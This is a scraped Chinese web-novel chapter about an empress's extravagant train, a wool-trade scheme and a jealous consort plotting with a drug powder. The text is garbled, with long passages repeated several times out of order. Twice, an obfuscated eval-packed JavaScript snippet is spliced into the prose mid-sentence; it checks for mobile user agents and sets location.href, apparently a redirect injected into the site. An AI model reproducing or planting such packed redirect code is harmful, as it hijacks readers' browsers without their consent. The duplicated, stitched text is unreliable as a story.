看来自己赚的那点B钱都让这妮子给挥霍在凤凰上了。 慕容嫣接过麝月递来的暖手炉,坐在凤椅边缘说道:“唉,朕也是没办法,宫里的宫女实在太多了,有很多都是光吃饭不干活,于是朕就想法子给她们找点事情做。比方说这牵拖尾就是个不错的差事嘛。” “理由不错,但我还是不爽。”林臻点点头,心都疼出血了。 这么华丽的拖尾,这么奢华的凤椅。 这得花多少钱啊?果然,有钱后就变坏的不仅仅是男人,也有可能是女帝。 “今天我来,是有个事情找你商量。” “什么事情?夫君自己做主就好了嘛。” “嗐,这不是胖子想结婚嘛,让我来跟你求一道圣旨。” “结婚?他和谁结婚啊?”慕容嫣好像很久没听到八卦了,一双凤目里直冒小星星。 “夫君来了?快和朕一起拜拜。” 拜?得了吧。 你家先祖如果知道咱俩的事儿,估计得气活过来,然后再气死过去。 一大把年纪了,折腾他们犯不上。 林臻指了指这长长的拖尾,说道:“嫣儿,你这未免也太夸张吧?” “才不是呢,你以为朕奢侈到这个地步?” “不然呢?盖住脚面的短裙现在穿不了了吗?” “那倒也不是。” 慕容嫣完成庄重的礼拜后站起身,那一身华丽至极的凤袍如烈烈燃烧的晚霞,顺势在她身侧舒展开来。 她莲步轻移,凤冠上垂下的珠帘相互碰撞,清脆的声响交织着她身上散发的淡淡龙涎香气息:“这边。” 话音未落,只见她素手轻抬,手臂自宽大的凤袍衣袖中缓缓伸出,如同春笋破土,动作轻盈且优雅至极。 她的指尖修长而纤细,指甲上涂着的蔻丹,红得夺目,在微光下闪烁着温润的光泽,成为这庄重画面中的一抹亮色。 手指微微上扬,广袖随之飘动,又在空中绽放,尽显她身为天下之主的雍容与气度。 那扬起的手,看似漫不经心,实则每一个细微的颤动都拿捏精准,仿佛这简单的动作,都经过了千锤百炼,举手投足间皆能让人心生折服,令周围的空气都仿若臣服在她的威严之下,不敢肆意流动。 两人来到一旁的凤椅边坐下。 那凤椅通身以千年沉香木打造而成,木质坚硬致密,泛着深邃而神秘的乌光。 椅背高耸,形如一只展翅欲飞的凤凰,凤首昂然向天,双眸以璀璨的蓝宝石镶嵌,无论从何处望去,都似被那目光凝视,令人心生震慑。 凤喙微微张开,尖锐而锋利,口含一颗晶莹剔透的南海珍珠,圆润的光泽与冷硬的凤喙相映成趣,尽显尊贵奢华。 椅身宽大,足够容纳数人同坐,两侧扶手精雕细琢,同样呈现凤凰之形,凤尾飘逸,化作蜿蜒的装饰,沿着扶手一路向下,每一片羽翎都清晰可辨,以金丝勾勒边缘,再镶嵌上细碎的各色宝石,红得如火,绿似深潭,蓝像苍穹,在微光的映照下闪烁不停,仿若凤凰抖落的一身五彩霞光。 坐垫选用的是最上等的雪貂皮,毛色纯白如雪,柔软顺滑得如同刚下的新雪,触感极佳,不仅隔绝了殿内的寒意,更给这尊荣之位添上几分奢靡之感。 椅腿粗壮结实,呈四方柱状稳稳立地,腿部同样雕刻有繁复的图案。 虽然如此华丽,但这个大小怎么看怎么像罗汉床。 林臻砸吧砸吧嘴。 看来自己赚的那点B钱都让这妮子给挥霍在凤凰上了。 慕容嫣接过麝月递来的暖手炉,坐在凤椅边缘说道:“唉,朕也是没办法,宫里的宫女实在太多了,有很多都是光吃饭不干活,于是朕就想法子给她们找点事情做。比方说这牵拖尾就是个不错的差事嘛。” “理由不错,但我还是不爽。”林臻点点头,心都疼出血了。 这么华丽的拖尾,这么奢华的凤椅。 这得花多少钱啊?果然,有钱后就变坏的不仅仅是男人,也有可能是女帝。 “今天我来,是有个事情找你商量。” “什么事情?夫君自己做主就好了嘛。” “嗐,这不是胖子想结婚嘛,让我来跟你求一道圣旨。” “结婚?他和谁结婚啊?”慕容嫣好像很久没听到八卦了,一双凤目里直冒小星星。 “夫君来了?快和朕一起拜拜。” 拜?得了吧。 你家先祖如果知道咱俩的事儿,估计得气活过来,然后再气死过去。 一大把年纪了,折腾他们犯不上。 林臻指了指这长长的拖尾,说道:“嫣儿,你这未免也太夸张吧?” “才不是呢,你以为朕奢侈到这个地步?” “不然呢?盖住脚面的短裙现在穿不了了吗?” “那倒也不是。” 慕容嫣完成庄重的礼拜后站起身,那一身华丽至极的凤袍如烈烈燃烧的晚霞,顺势在她身侧舒展开来。 她莲步轻移,凤冠上垂下的珠帘相互碰撞,清脆的声响交织着她身上散发的淡淡龙涎香气息:“这边。” 话音未落,只见她素手轻抬,手臂自宽大的凤袍衣袖中缓缓伸出,如同春笋破土,动作轻盈且优雅至极。 她的指尖修长而纤细,指甲上涂着的蔻丹,红得夺目,在微光下闪烁着温润的光泽,成为这庄重画面中的一抹亮色。 手指微微上扬,广袖随之飘动,又在空中绽放,尽显她身为天下之主的雍容与气度。 那扬起的手,看似漫不经心,实则每一个细微的颤动都拿捏精准,仿佛这简单的动作,都经过了千锤百炼,举手投足间皆能让人心生折服,令周围的空气都仿若臣服在她的威严之下,不敢肆意流动。 两人来到一旁的凤椅边坐下。 那凤椅通身以千年沉香木打造而成,木质坚硬致密,泛着深邃而神秘的乌光。 椅背高耸,形如一只展翅欲飞的凤凰,凤首昂然向天,双眸以璀璨的蓝宝石镶嵌,无论从何处望去,都似被那目光凝视,令人心生震慑。 凤喙微微张开,尖锐而锋利,口含一颗晶莹剔透的南海珍珠,圆润的光泽与冷硬的凤喙相映成趣,尽显尊贵奢华。 椅身宽大,足够容纳数人同坐,两侧扶手精雕细琢,同样呈现凤凰之形,凤尾飘逸,化作蜿蜒的装饰,沿着扶手一路向下,每一片羽翎都清晰可辨,以金丝勾勒边缘,再镶嵌上细碎的各色宝石,红得如火,绿似深潭,蓝像苍穹,在微光的映照下闪烁不停,仿若凤凰抖落的一身五彩霞光。 坐垫选用的是最上等的雪貂皮,毛色纯白如雪,柔软顺滑得如同刚下的新雪,触感极佳,不仅隔绝了殿内的寒意,更给这尊荣之位添上几分奢靡之感。 椅腿粗壮结实,呈四方柱状稳稳立地,腿部同样雕刻有繁复的图案。 虽然如此华丽,但这个大小怎么看怎么像罗汉床。 林臻砸吧砸吧嘴。 看来自己赚的那点B钱都让这妮子给挥霍在凤凰上了。 慕容嫣接过麝月递来的暖手炉,坐在凤椅边缘说道:“唉,朕也是没办法,宫里的宫女实在太多了,有很多都是光吃饭不干活,于是朕就想法子给她们找点事情做。比方说这牵拖尾就是个不错的差事嘛。” “理由不错,但我还是不爽。”林臻点点头,心都疼出血了。 这么华丽的拖尾,这么奢华的凤椅。 这得花多少钱啊?果然,有钱后就变坏的不仅仅是男人,也有可能是女帝。 “今天我来,是有个事情找你商量。” “什么事情?夫君自己做主就好了嘛。” “嗐,这不是胖子想结婚嘛,让我来跟你求一道圣旨。” “结婚?他和谁结婚啊?”慕容嫣好像很久没听到八卦了,一双凤目里直冒小星星。 “夫君来了?快和朕一起拜拜。” 拜?得了吧。 你家先祖如果知道咱俩的事儿,估计得气活过来,然后再气死过去。 一大把年纪了,折腾他们犯不上。 林臻指了指这长长的拖尾,说道:“嫣儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245253|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你这未免也太夸张吧?” “才不是呢,你以为朕奢侈到这个地步?” “不然呢?盖住脚面的短裙现在穿不了了吗?” “那倒也不是。” 慕容嫣完成庄重的礼拜后站起身,那一身华丽至极的凤袍如烈烈燃烧的晚霞,顺势在她身侧舒展开来。 她莲步轻移,凤冠上垂下的珠帘相互碰撞,清脆的声响交织着她身上散发的淡淡龙涎香气息:“这边。” 话音未落,只见她素手轻抬,手臂自宽大的凤袍衣袖中缓缓伸出,如同春笋破土,动作轻盈且优雅至极。 她的指尖修长而纤细,指甲上涂着的蔻丹,红得夺目,在微光下闪烁着温润的光泽,成为这庄重画面中的一抹亮色。 手指微微上扬,广袖随之飘动,又在空中绽放,尽显她身为天下之主的雍容与气度。 那扬起的手,看似漫不经心,实则每一个细微的颤动都拿捏精准,仿佛这简单的动作,都经过了千锤百炼,举手投足间皆能让人心生折服,令周围的空气都仿若臣服在她的威严之下,不敢肆意流动。 两人来到一旁的凤椅边坐下。 那凤椅通身以千年沉香木打造而成,木质坚硬致密,泛着深邃而神秘的乌光。 椅背高耸,形如一只展翅欲飞的凤凰,凤首昂然向天,双眸以璀璨的蓝宝石镶嵌,无论从何处望去,都似被那目光凝视,令人心生震慑。 凤喙微微张开,尖锐而锋利,口含一颗晶莹剔透的南海珍珠,圆润的光泽与冷硬的凤喙相映成趣,尽显尊贵奢华。 椅身宽大,足够容纳数人同坐,两侧扶手精雕细琢,同样呈现凤凰之形,凤尾飘逸,化作蜿蜒的装饰,沿着扶手一路向下,每一片羽翎都清晰可辨,以金丝勾勒边缘,再镶嵌上细碎的各色宝石,红得如火,绿似深潭,蓝像苍穹,在微光的映照下闪烁不停,仿若凤凰抖落的一身五彩霞光。 坐垫选用的是最上等的雪貂皮,毛色纯白如雪,柔软顺滑得如同刚下的新雪,触感极佳,不仅隔绝了殿内的寒意,更给这尊荣之位添上几分奢靡之感。 椅腿粗壮结实,呈四方柱状稳稳立地,腿部同样雕刻有繁复的图案。 虽然如此华丽,但这个大小怎么看怎么像罗汉床。 林臻砸吧砸吧嘴。 看来自己赚的那点B钱都让这妮子给挥霍在凤凰上了。 慕容嫣接过麝月递来的暖手炉,坐在凤椅边缘说道:“唉,朕也是没办法,宫里的宫女实在太多了,有很多都是光吃饭不干活,于是朕就想法子给她们找点事情做。比方说这牵拖尾就是个不错的差事嘛。” “理由不错,但我还是不爽。”林臻点点头,心都疼出血了。 这么华丽的拖尾,这么奢华的凤椅。 这得花多少钱啊?果然,有钱后就变坏的不仅仅是男人,也有可能是女帝。 “今天我来,是有个事情找你商量。” “什么事情?夫君自己做主就好了嘛。” “嗐,这不是胖子想结婚嘛,让我来跟你求一道圣旨。” “结婚?他和谁结婚啊?”慕容嫣好像很久没听到八卦了,一双凤目里直冒小星星。 “夫君来了?快和朕一起拜拜。” 拜?得了吧。 你家先祖如果知道咱俩的事儿,估计得气活过来,然后再气死过去。 一大把年纪了,折腾他们犯不上。 林臻指了指这长长的拖尾,说道:“嫣儿,你这未免也太夸张吧?” “才不是呢,你以为朕奢侈到这个地步?” “不然呢?盖住脚面的短裙现在穿不了了吗?” “那倒也不是。” 慕容嫣完成庄重的礼拜后站起身,那一身华丽至极的凤袍如烈烈燃烧的晚霞,顺势在她身侧舒展开来。 她莲步轻移,凤冠上垂下的珠帘相互碰撞,清脆的声响交织着她身上散发的淡淡龙涎香气息:“这边。” 话音未落,只见她素手轻抬,手臂自宽大的凤袍衣袖中缓缓伸出,如同春笋破土,动作轻盈且优雅至极。 她的指尖修长而纤细,指甲上涂着的蔻丹,红得夺目,在微光下闪烁着温润的光泽,成为这庄重画面中的一抹亮色。 手指微微上扬,广袖随之飘动,又在空中绽放,尽显她身为天下之主的雍容与气度。 那扬起的手,看似漫不经心,实则每一个细微的颤动都拿捏精准,仿佛这简单的动作,都经过了千锤百炼,举手投足间皆能让人心生折服,令周围的空气都仿若臣服在她的威严之下,不敢肆意流动。 两人来到一旁的凤椅边坐下。 那凤椅通身以千年沉香木打造而成,木质坚硬致密,泛着深邃而神秘的乌光。 椅背高耸,形如一只展翅欲飞的凤凰,凤首昂然向天,双眸以璀璨的蓝宝石镶嵌,无论从何处望去,都似被那目光凝视,令人心生震慑。 凤喙微微张开,尖锐而锋利,口含一颗晶莹剔透的南海珍珠,圆润的光泽与冷硬的凤喙相映成趣,尽显尊贵奢华。 椅身宽大,足够容纳数人同坐,两侧扶手精雕细琢,同样呈现凤凰之形,凤尾飘逸,化作蜿蜒的装饰,沿着扶手一路向下,每一片羽翎都清晰可辨,以金丝勾勒边缘,再镶嵌上细碎的各色宝石,红得如火,绿似深潭,蓝像苍穹,在微光的映照下闪烁不停,仿若凤凰抖落的一身五彩霞光。 坐垫选用的是最上等的雪貂皮,毛色纯白如雪,柔软顺滑得如同刚下的新雪,触感极佳,不仅隔绝了殿内的寒意,更给这尊荣之位添上几分奢靡之感。 椅腿粗壮结实,呈四方柱状稳稳立地,腿部同样雕刻有繁复的图案。 虽然如此华丽,但这个大小怎么看怎么像罗汉床。 林臻砸吧砸吧嘴。 看来自己赚的那点B钱都让这妮子给挥霍在凤凰上了。 慕容嫣接过麝月递来的暖手炉,坐在凤椅边缘说道:“唉,朕也是没办法,宫里的宫女实在太多了,有很多都是光吃饭不干活,于是朕就想法子给她们找点事情做。比方说这牵拖尾就是个不错的差事嘛。” “理由不错,但我还是不爽。”林臻点点头,心都疼出血了。 这么华丽的拖尾,这么奢华的凤椅。 这得花多少钱啊?果然,有钱后就变坏的不仅仅是男人,也有可能是女帝。 “今天我来,是有个事情找你商量。” “什么事情?夫君自己做主就好了嘛。” “嗐,这不是胖子想结婚嘛,让我来跟你求一道圣旨。” “结婚?他和谁结婚啊?”慕容嫣好像很久没听到八卦了,一双凤目里直冒小星星。 “夫君来了?快和朕一起拜拜。” 拜?得了吧。 你家先祖如果知道咱俩的事儿,估计得气活过来,然后再气死过去。 一大把年纪了,折腾他们犯不上。 林臻指了指这长长的拖尾,说道:“嫣儿,你这未免也太夸张吧?” “才不是呢,你以为朕奢侈到这个地步?” “不然呢?盖住脚面的短裙现在穿不了了吗?” “那倒也不是。” 慕容嫣完成庄重的礼拜后站起身,那一身华丽至极的凤袍如烈烈燃烧的晚霞,顺势在她身侧舒展开来。 她莲步轻移,凤冠上垂下的珠帘相互碰撞,清脆的声响交织着她身上散发的淡淡龙涎香气息:“这边。” 话音未落,只见她素手轻抬,手臂自宽大的凤袍衣袖中缓缓伸出,如同春笋破土,动作轻盈且优雅至极。 她的指尖修长而纤细,指甲上涂着的蔻丹,红得夺目,在微光下闪烁着温润的光泽,成为这庄重画面中的一抹亮色。 手指微微上扬,广袖随之飘动,又在空中绽放,尽显她身为天下之主的雍容与气度。 那扬起的手,看似漫不经心,实则每一个细微的颤动都拿捏精准,仿佛这简单的动作,都经过了千锤百炼,举手投足间皆能让人心生折服,令周围的空气都仿若臣服在她的威严之下,不敢肆意流动。 两人来到一旁的凤椅边坐下。 那凤椅通身以千年沉香木打造而成,木质坚硬致密,泛着深邃而神秘的乌光。 椅背高耸,形如一只展翅欲飞的凤凰,凤首昂然向天,双眸以璀璨的蓝宝石镶嵌,无论从何处望去,都似被那目光凝视,令人心生震慑。 凤喙微微张开,尖锐而锋利,口含一颗晶莹剔透的南海珍珠,圆润的光泽与冷硬的凤喙相映成趣,尽显尊贵奢华。 椅身宽大,足够容纳数人同坐,两侧扶手精雕细琢,同样呈现凤凰之形,凤尾飘逸,化作蜿蜒的装饰,沿着扶手一路向下,每一片羽翎都清晰可辨,以金丝勾勒边缘,再镶嵌上细碎的各色宝石,红得如火,绿似深潭,蓝像苍穹,在微光的映照下闪烁不停,仿若凤凰抖落的一身五彩霞光。 坐垫选用的是最上等的雪貂皮,毛色纯白如雪,柔软顺滑得如同刚下的新雪,触感极佳,不仅隔绝了殿内的寒意,更给这尊荣之位添上几分奢靡之感。 椅腿粗壮结实,呈四方柱状稳稳立地,腿部同样雕刻有繁复的图案。 虽然如此华丽,但这个大小怎么看怎么像罗汉床。 林臻砸吧砸吧嘴。 看来自己赚的那点B钱都让这妮子给挥霍在凤凰上了。 慕容嫣接过麝月递来的暖手炉,坐在凤椅边缘说道:“唉,朕也是没办法,宫里的宫女实在太多了,有很多都是光吃饭不干活,于是朕就想法子给她们找点事情做。比方说这牵拖尾就是个不错的差事嘛。” “理由不错,但我还是不爽。”林臻点点头,心都疼出血了。 这么华丽的拖尾,这么奢华的凤椅。 这得花多少钱啊?果然,有钱后就变坏的不仅仅是男人,也有可能是女帝。 “今天我来,是有个事情找你商量。” “什么事情?夫君自己做主就好了嘛。” “嗐,这不是胖子想结婚嘛,让我来跟你求一道圣旨。” “结婚?他和谁结婚啊?”慕容嫣好像很久没听到八卦了,一双凤目里直冒小星星。 第395章 甭管真的假的,总算是个理由 四九城里的大祸害王胖子居然要结婚,这消息一点都不比江东鼠辈孙十万攻打合肥,还折了太史慈的劲爆程度差。 慕容嫣檀口微张,兴奋地摇着林臻的手臂说:“夫君,你快说呀!她到底要娶谁?” “唉。”林臻叹了口气,“是以前的天道**,静澜。” 这个名字只出现在林臻上报的俘虏名单上过,慕容嫣看到过一次,但没什么印象。 她有些疑惑:“静澜就静澜呗,夫君为什么这么惆怅呢?” “因为王铁男不同意嘛,所以胖子才来让我找你,说让你下一道订婚的圣旨,这样王铁男就不会说什么了。” 慕容嫣闻言蹙起眉头,瞪大凤目。 一挥手,凤袍起舞,砰的一声拍在凤榻上:“什么!真是岂有此理,皇帝的权利岂能这样滥用?不行,朕不答应。” “那我就放心了!”林臻本来也没指望慕容嫣会同意,于是浑身放松地把手放在脑后,悠闲地枕在凤椅上,目光看向那几乎与宫殿一样长的凤袍拖尾。 慕容嫣这才悠悠然地解释道:“夫君还在好奇拖尾的事情?” “好奇倒是没有,拖尾可以展现你的气质与天姿,我只是不明白你搞这么长干什么?这走路能舒服吗?” 慕容嫣莞尔一笑:“呵呵呵呵,夫君不知道,现在宫里啊,闲着的宫女实在太多了。有很多就是躲在没有人的后宫里睡大觉,吃了睡,睡了吃,天天混日子。贵妃发现了这件事情,于是来找朕商量,朕想着她们闲着也是闲着,不如就遣散算了。谁知她们非但不愿意走,还说只要能留下做什么都行。朕思来想去也没什么好的差事,于是就让她们给朕牵拖尾了。” 甭管真的假的,总算是个理由。 林臻也知道自己每个月给她那么多钱,她都花在了哪里。 女孩子嘛,买点好看的衣服,稍微有点虚荣心也属正常。 蛮好的,总比那种丈夫在外赚钱,妻子和小三花钱来得强。 慕容嫣伸手拽了拽自己那十几米长的拖尾,掀起一阵凤凰波浪。 该说不说,这拖尾是真正夺尽天地造化的神来之笔。 拖尾的锦缎,取自深海鲛人的秘制丝帛,入手温润,却又坚韧无比,据说水火不侵,千年不腐。 其底色是如梦如幻的紫,恰似破晓时分天际那一抹最神秘的霞光,又仿若春日里紫罗兰花海在晨露映照下的幽魅,深邃而迷人。 锦缎之上,金线银线纵横交错,绣出了一幅幅震撼人心的画卷。 再看那点缀其中的宝石,珍珠圆润,颗颗都有鸽蛋大小,散发着柔和的光晕。 红宝石热烈似火,跳跃着生命的激情。 蓝宝石静谧如渊,深邃的蓝光里藏着无尽的神秘。 祖母绿澄澈如水,盈盈绿意仿佛春日初绽的新芽,满是生机盎然。 更有那细碎的金刚石,如同夜空中的繁星,密密麻麻地镶嵌其中,随着慕容嫣的细微动作,闪烁出璀璨夺目的光芒,恰似银河倾落人间,流淌在这拖尾之上,让每一寸锦缎都熠熠生辉。 此时,殿门缓缓开启,二十名宫女莲步轻移,鱼贯而入。 她们身着统一的月白色宫装,衣袂飘飘,仿若凌波仙子下凡。每一步,都轻盈得仿若踏在云端,不带起丝毫尘埃。 头上的发髻高耸,簪着羊脂白玉的簪子,垂下的流苏随着她们的走动轻轻晃动,发出细微的清脆声响,似风拂银铃,声声悦耳。 宫女们走到拖尾两侧站定,身姿婀娜,每一米站一人。 她们玉手轻抬,小心翼翼地将那华丽到极致的拖尾牵起。 慕容嫣得意地扬起凤眉,对林臻说:“怎么样?” 林臻都不知道说什么好了,捂着脸,憋了半天才想出来一个情绪价值很高的话。 “还真是人尽其用啊.” “嘻嘻嘻,那陪朕出去走走,今天天气不错。” 林臻看向外面,显得有些漫不经心:“太阳是挺大,就是没有温度。” 古代的冬天总是最难熬的,当然,这是对老百姓而言,像慕容嫣这样喜欢奢靡之风的女帝,肯定会把所有的宫殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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身后,那长达十几米的拖尾,依旧由二十名宫女悉心牵着,拖尾上的锦缎在微光下闪烁着五彩光芒,绣着的山川河流、花鸟鱼虫仿若都有了灵性,随着她的步伐轻轻晃动。 林臻侧目望向慕容嫣:“嫣儿,你如果嫌宫女太多,我可以给她们安排个活计,说不定还能给你创造点收入。” “真的?”慕容嫣听到钱就凤目雪亮,“那你快说!” “惜灵那边的轧**机就快造出来了,我琢磨着,如果能用,我就派人去蛮蒙地区收羊毛,收回来后再经轧**机轧制成毛线,而后组织能工巧匠与宫女们纺织成毛衣、大衣之类的衣物,可以用来御寒。” “羊毛能御寒?真的假的?再说,我们用什么跟蛮蒙换羊毛?粮食吗?” “对,现在是冬天,蛮蒙因为忌惮我大乾的实力不敢南下打秋风,所以他们急需粮食,这个时候去谈合作是最好的。” 慕容嫣低头想了想,随即说道:“如此说来羊毛应该会很便宜,这买卖确实有利可图.但是那些宫女以前都是端茶倒水的,最多也只会简单的女红,至于纺织,她们能行吗?” “灵儿的心思还是很缜密的,她在研制的时候就考虑到了易用性。这轧**机操作简便,只需稍加培训,宫女们便能熟练使用。待第一批毛线制成,咱们可先在宫中挑选几位手巧的绣娘,织出几件样板衣物,展示其保暖与精美之处,再逐步推广。届时,不仅宫中有了新营生,民间工坊见有利可图,必然也会纷纷效仿,如此,百姓收入增加,冬日里再也不愁没有御寒衣物,可谓百业俱兴。” 林臻没办法把轧**机的工作原理全部告诉慕容嫣,而且就算说了她也听不懂,所以还是简单些比较好。 其实早在几个月前林臻就想通过羊毛来控制蛮蒙地区了,但是.他不会做轧**机。 他是妥妥的文科生,能知道**的配比就算老书虫了,至于这么“高端”的机器,他根本做不来。这时候他就会开始羡慕那些理科生穿越的剧情。 正所谓:学好数理化,走遍天下都不怕。像隔壁的大唐流,人家李世民刚当皇帝,他就把南美洲的土豆运回来了。 虽然林臻不知道他是咋运的,但就觉得很厉害。 只要羊毛能在大乾发挥作用,那蛮蒙从此就与大乾有了断不开的联系,从而关系会越来越好,打秋风的事情也会越来越少。 其实他们之所以会南下打秋风,大部分都是因为冬天没有粮食所导致的饥饿,但凡能吃饱饭谁愿意把脑袋别裤腰带上啊? 林臻就是要用这个办法来控制他们,让他们在广袤的草原乖乖给我们大乾放羊放牛。 慕容嫣说道:“夫君的意思是,这羊毛工厂就设置在皇宫里?” “对啊,你西苑那边那么大地方都空着,留着干什么?” “不行!”慕容嫣当即拒绝:“那么多羊毛肯定会漫天飞,而且还有味道!朕不同意!” “那好吧,这事儿暂且搁下。” “不行!” “啊?”林臻都懵了,“不是.你这也不行那也不行的,你到底要干什么啊?” “这么好的买卖不做怎么行?你来负责找工坊,不行就直接设立在武清,还要负责教授宫女纺织,还要想办法把做好的衣服卖出去。利润归朕!” 林臻眼珠子瞪得老大。 “那你干什么啊?” “朕出宫女啊?还不行吗?”慕容嫣顿了顿,好像发现自己很过分,于是又说道,“宫女朕来提供,但工钱需要你出。” “人你提供,工钱我出,卖出去的利润还要归你?你掉钱眼里吧?” 林臻八辈子没听过这样的要求。 本来他是想给慕容嫣解决点宫里的负担,谁知道竟然惹这一身麻烦。 慕容嫣倔强地攥紧粉拳,气鼓鼓的看着他:“朕现在缺钱得很,你到底答不答应!” “好好好!我投降,我投降!”林臻举起双手表示投降,慕容嫣痴痴一笑,“嘻嘻嘻,这才是朕的好夫君嘛!” 言罢她翻了个妩媚的白眼,双手环住林臻的脖子,在他嘴角轻轻一吻:“吧唧!放心,你不会吃亏的,回头朕好好伺候你。” “不用,让我埋进你的胸口大哭一场即可。” 说着话林臻就要低头,吓得慕容嫣赶紧躲开,捂住胸口:“不行!这么多人看着呢,朕总不能把宫里的人都杀了吧!你先回去,处理好了再来见朕!” 身后提着拖尾的宫女们吓得瑟瑟发抖。 林臻却浑然不觉。 他搂住慕容嫣的腰身,大手伸进貂皮里面,盖在那奢华的凤袍上。 “最近还是不太平,我本想把颜颜调进来保护你,谁知道这妮子居然带着来福进山打猎去了,你自己要万事小心。” “嗯。”慕容嫣感受林臻的关切,羞涩地点了点头。 林臻低下头,在她的额头上轻轻一吻,转身离开皇宫。 慕容嫣摸了摸还带着一丝温热的额头,甜甜一笑,旋即恢复成那高冷的女帝模样,对身后的宫女、太监们说道。 “走,去贵妃那里。” 司马椿蕾这几天挺闹心,已经连续处置十几个太监、宫女了。 原因无他,顾镇居然怀孕了。 奶奶的,司马椿蕾越想越气,自己那么努力,那么迎合,居然迟迟怀不上,反而让那个像死鱼似的女人先有了。 虽然顾镇不是很受宠,但也毕竟是林臻的女人,尤其林臻家里人丁不旺,急需子嗣。 这无形中会把顾镇的地位抬得很高,甚至有一天会超越自己。 这是司马椿蕾绝对不能接受的事情。 她可以向慕容嫣低头,但绝不允许除慕容嫣外的任何女人站在她上面。 此刻,她坐在宫里的罗汉床上,手里攥着包药粉。 她在思量。 要不要把顾镇这个还没出世的孩子给打掉! 只要没了孩子,她顾镇就是自己的小跟班! 想到这,司马椿蕾神色一凛,想要起身。 突然,殿门外面传来一声山呼。 “陛下驾到!!” 林臻就是要用这个办法来控制他们,让他们在广袤的草原乖乖给我们大乾放羊放牛。 慕容嫣说道:“夫君的意思是,这羊毛工厂就设置在皇宫里?” “对啊,你西苑那边那么大地方都空着,留着干什么?” “不行!”慕容嫣当即拒绝:“那么多羊毛肯定会漫天飞,而且还有味道!朕不同意!” “那好吧,这事儿暂且搁下。” “不行!” “啊?”林臻都懵了,“不是.你这也不行那也不行的,你到底要干什么啊?” “这么好的买卖不做怎么行?你来负责找工坊,不行就直接设立在武清,还要负责教授宫女纺织,还要想办法把做好的衣服卖出去。利润归朕!” 林臻眼珠子瞪得老大。 “那你干什么啊?” “朕出宫女啊?还不行吗?”慕容嫣顿了顿,好像发现自己很过分,于是又说道,“宫女朕来提供,但工钱需要你出。” “人你提供,工钱我出,卖出去的利润还要归你?你掉钱眼里吧?” 林臻八辈子没听过这样的要求。 本来他是想给慕容嫣解决点宫里的负担,谁知道竟然惹这一身麻烦。 慕容嫣倔强地攥紧粉拳,气鼓鼓的看着他:“朕现在缺钱得很,你到底答不答应!” “好好好!我投降,我投降!”林臻举起双手表示投降,慕容嫣痴痴一笑,“嘻嘻嘻,这才是朕的好夫君嘛!” 言罢她翻了个妩媚的白眼,双手环住林臻的脖子,在他嘴角轻轻一吻:“吧唧!放心,你不会吃亏的,回头朕好好伺候你。” “不用,让我埋进你的胸口大哭一场即可。” 说着话林臻就要低头,吓得慕容嫣赶紧躲开,捂住胸口:“不行!这么多人看着呢,朕总不能把宫里的人都杀了吧!你先回去,处理好了再来见朕!” 身后提着拖尾的宫女们吓得瑟瑟发抖。 林臻却浑然不觉。 他搂住慕容嫣的腰身,大手伸进貂皮里面,盖在那奢华的凤袍上。 “最近还是不太平,我本想把颜颜调进来保护你,谁知道这妮子居然带着来福进山打猎去了,你自己要万事小心。” “嗯。”慕容嫣感受林臻的关切,羞涩地点了点头。 林臻低下头,在她的额头上轻轻一吻,转身离开皇宫。 慕容嫣摸了摸还带着一丝温热的额头,甜甜一笑,旋即恢复成那高冷的女帝模样,对身后的宫女、太监们说道。 “走,去贵妃那里。” 司马椿蕾这几天挺闹心,已经连续处置十几个太监、宫女了。 原因无他,顾镇居然怀孕了。 奶奶的,司马椿蕾越想越气,自己那么努力,那么迎合,居然迟迟怀不上,反而让那个像死鱼似的女人先有了。 虽然顾镇不是很受宠,但也毕竟是林臻的女人,尤其林臻家里人丁不旺,急需子嗣。 这无形中会把顾镇的地位抬得很高,甚至有一天会超越自己。 这是司马椿蕾绝对不能接受的事情。 她可以向慕容嫣低头,但绝不允许除慕容嫣外的任何女人站在她上面。 此刻,她坐在宫里的罗汉床上,手里攥着包药粉。 她在思量。 要不要把顾镇这个还没出世的孩子给打掉! 只要没了孩子,她顾镇就是自己的小跟班! 想到这,司马椿蕾神色一凛,想要起身。 突然,殿门外面传来一声山呼。 “陛下驾到!!” 林臻就是要用这个办法来控制他们,让他们在广袤的草原乖乖给我们大乾放羊放牛。 慕容嫣说道:“夫君的意思是,这羊毛工厂就设置在皇宫里?” “对啊,你西苑那边那么大地方都空着,留着干什么?” “不行!”慕容嫣当即拒绝:“那么多羊毛肯定会漫天飞,而且还有味道!朕不同意!” “那好吧,这事儿暂且搁下。” “不行!” “啊?”林臻都懵了,“不是.你这也不行那也不行的,你到底要干什么啊?” “这么好的买卖不做怎么行?你来负责找工坊,不行就直接设立在武清,还要负责教授宫女纺织,还要想办法把做好的衣服卖出去。利润归朕!” 林臻眼珠子瞪得老大。 “那你干什么啊?” “朕出宫女啊?还不行吗?”慕容嫣顿了顿,好像发现自己很过分,于是又说道,“宫女朕来提供,但工钱需要你出。” “人你提供,工钱我出,卖出去的利润还要归你?你掉钱眼里吧?” 林臻八辈子没听过这样的要求。 本来他是想给慕容嫣解决点宫里的负担,谁知道竟然惹这一身麻烦。 慕容嫣倔强地攥紧粉拳,气鼓鼓的看着他:“朕现在缺钱得很,你到底答不答应!” “好好好!我投降,我投降!”林臻举起双手表示投降,慕容嫣痴痴一笑,“嘻嘻嘻,这才是朕的好夫君嘛!” 言罢她翻了个妩媚的白眼,双手环住林臻的脖子,在他嘴角轻轻一吻:“吧唧!放心,你不会吃亏的,回头朕好好伺候你。” “不用,让我埋进你的胸口大哭一场即可。” 